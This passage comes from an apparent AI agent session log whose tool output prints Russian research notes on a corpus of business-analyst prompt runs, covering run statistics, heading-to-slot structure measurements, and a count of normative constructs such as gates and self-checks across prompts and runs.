\u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438, \u0430 \u043d\u0435 \u043d\u0430\u0434 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c |\\n| `tz-`, `usecase-`, `user-`, `gap-`, `kb-`, `industry-`, `session-`, `multichannel-` | \u043f\u043e 1 | \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u0435 \u0442\u0438\u043f\u044b |\\n\\n**\u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435.** 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `task-`, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043f\u0440\u043e\u0448\u0451\u043b \u0447\u044c\u044e-\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e. \u0418\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0441\u043b\u0430\u0431\u043e (4 `bcreq-`): \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c **\u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0430\u043d\u043d\u0435\u0433\u043e** \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u0432\u0445\u043e\u0434\u0430\\n\u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n\\n=== 2026-09-08-artifact-structure-variance-facts.md\\n## 1. \u0427\u0442\u043e \u0438 \u043a\u0430\u043a \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`exp/ba-micro-structure-561/measure-artifact-structure.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/measure-artifact-structure.py).\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 `##` \u043a\u0430\u0436\u0434\u043e\u0433\u043e markdown-\u0444\u0430\u0439\u043b\u0430 \u0432 `outputs/`, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043a\\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0435 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u0432 **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432** (`S-*`) \u043f\u043e\\n\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\\n\u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0438, \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u043e\u0439\\n`SLOT_RULES` \u0432 \u0448\u0430\u043f\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e.\\n\\n\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u2192 \u0441\u043b\u043e\u0442\u00bb \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043e\u0442 **\u0441\u043c\u044b\u0441\u043b\u0430**: \u0434\u0432\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438 (`1. \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439` \u0438 `1. \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f`)\\n\u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 `S-GLOSSARY`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n\u043d\u0438\u0436\u0435, \u2014 \u044d\u0442\u043e \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0441\u043c\u044b\u0441\u043b\u0443, \u0430 \u043d\u0435 \u043f\u043e \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432.\\n\\n## 2. \u0421\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u0430 125 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438\u00bb \u0438 72 % \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u0440\u0438\u0447\u0438\u043d\u0443: \u0432 `outputs/` \u043b\u0435\u0436\u0430\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432, \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u0443 \u0436\u0435 \u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 `classify_doc_kind()` \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u0438\u0445; \u0432\u0441\u0435 \u0442\u0440\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n`artifact-structure.json`, \u043d\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0440\u0435\u0442\u044c\u0435\u043c\u0443.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0424\u0430\u0439\u043b\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e |\\n| --- | --- | --- |\\n| `run-journal` | 63 | \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u044d\u043f\u0438\u0437\u043e\u0434\u044b, \u0432\u0435\u0440\u0434\u0438\u043a\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e |\\n| `analysis-note` | 45 | \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| `requirement-document` | 17 | **\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0410** \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u043c\u0435\u0440\u0430 |\\n\\n\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432; markdown-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043b\u0435\u043a\u0441\u0438\u043a\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 125.\\n\\n=== 2026-09-09-legacy-normative-influence-facts.md\\n## 1. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\\n\u0448\u0438\u0440\u043e\u043a\u0438\u0435 (RU + EN, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0430 **\u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443\\n\u0437\u0430\u0432\u044b\u0448\u0435\u043d\u0438\u044f** \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430.\\n\\n| \u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | \u0427\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438\u0437 24 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 |\\n| --- | --- | --- | --- |\\n| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n| `MM-4` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 | **0** | **0** |\\n| `OPS-2` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u044b | **0** | **0** |\\n| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n| `G-self` \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043e \u0432\u044b\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | **0** | 7 |\\n| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n| `SK-4` \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f | **0** | 1 |\\n| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n| `SK-5` \u0432\u0435\u0440\u0441\u0438\u044f \u0432\u043e frontmatter | \u0432\u0435\u0440\u0441\u0438\u044f \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0432 \u0438\u043c\u0435\u043d\u0438 | 24 | 67 |\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442.** \u0418\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c\\n\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445,\\n\u043d\u0438 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u0421\u0440\u0435\u0434\u043d\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 **1.04** \u043f\u0440\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 2,\\n\u0438 \u044d\u0442\u0430 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 `version:` \u0432\u043e frontmatter, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0430\\n\u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u043e\u0440\u043c\u044b.\\n\\n## 2. \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e: \u044d\u0442\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0442\u0430\u043c \u043d\u0435\u0442. \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014\\n   \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u00bb \u043d\u0435 \u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n   \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b.\\n2. **\u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u0430.** \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u043e \u0444\u043e\u0440\u043c\u0435\\n   (\u0436\u0451\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0448\u0430\u0433\u0438, \u0440\u043e\u043b\u0438), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438 \u0441\u0438\u043d\u0442\u0435\u0437\u0435 \u00ab\u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443\u00bb \u043e\u043d\u0438 \u0441\u043a\u043b\u043e\u043d\u043d\u044b\\n   \u0434\u0438\u043a\u0442\u043e\u0432\u0430\u0442\u044c **\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443** \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043d\u0435 \u043d\u0435\u0441\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439\\n   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u041e\u0442\u0441\u044e\u0434\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e\\n   \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u043e\u0431\u0440\u043e\u0441\u043e\u0432\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0437\u0430 (`LG-4` ADR-014).\\n3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\",\n[2026-09-29T07:47:57.591Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:57.591Z] [INFO]       }\n[2026-09-29T07:47:57.591Z] [INFO]     ]\n[2026-09-29T07:47:57.591Z] [INFO]   },\n[2026-09-29T07:47:57.591Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:57.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:57.591Z] [INFO]   \"uuid\": \"3d69efc5-8043-49a9-b9f8-a8e79e798568\",\n[2026-09-29T07:47:57.591Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:57.570Z\",\n[2026-09-29T07:47:57.591Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:57.591Z] [INFO]     \"stdout\": \"=== 2026-08-25-mango-runs-empirical-snapshot.md\\n## 1. \u0427\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `524a8eb`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440:\\n[`exp/ba-requirements-normalization-539/aggregate-runs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/aggregate-runs.py).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e `metadata.yaml` \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 \u2014 \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0432\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0431\u044b \u043f\u0440\u0435\u0434\u0440\u0435\u0448\u0451\u043d \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439.\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 56 |\\n| \u041f\u0435\u0440\u0438\u043e\u0434 | 2026-04-10 \u2026 2026-08-25 |\\n| `run_type` | `statistics` 47, `execution` 9 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 5, `success` 1, `needs-rework` 1, `experimental` 1 |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (\u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u044f `process`):\\n\\n| \u041f\u0440\u0435\u0444\u0438\u043a\u0441 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- |\\n| `task-` | 32 | \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u0442\u0440\u0435\u043a\u0435\u0440\u0430/\u0447\u0430\u0442\u0430 \u2014 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 |\\n| `fr-` | 9 | \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 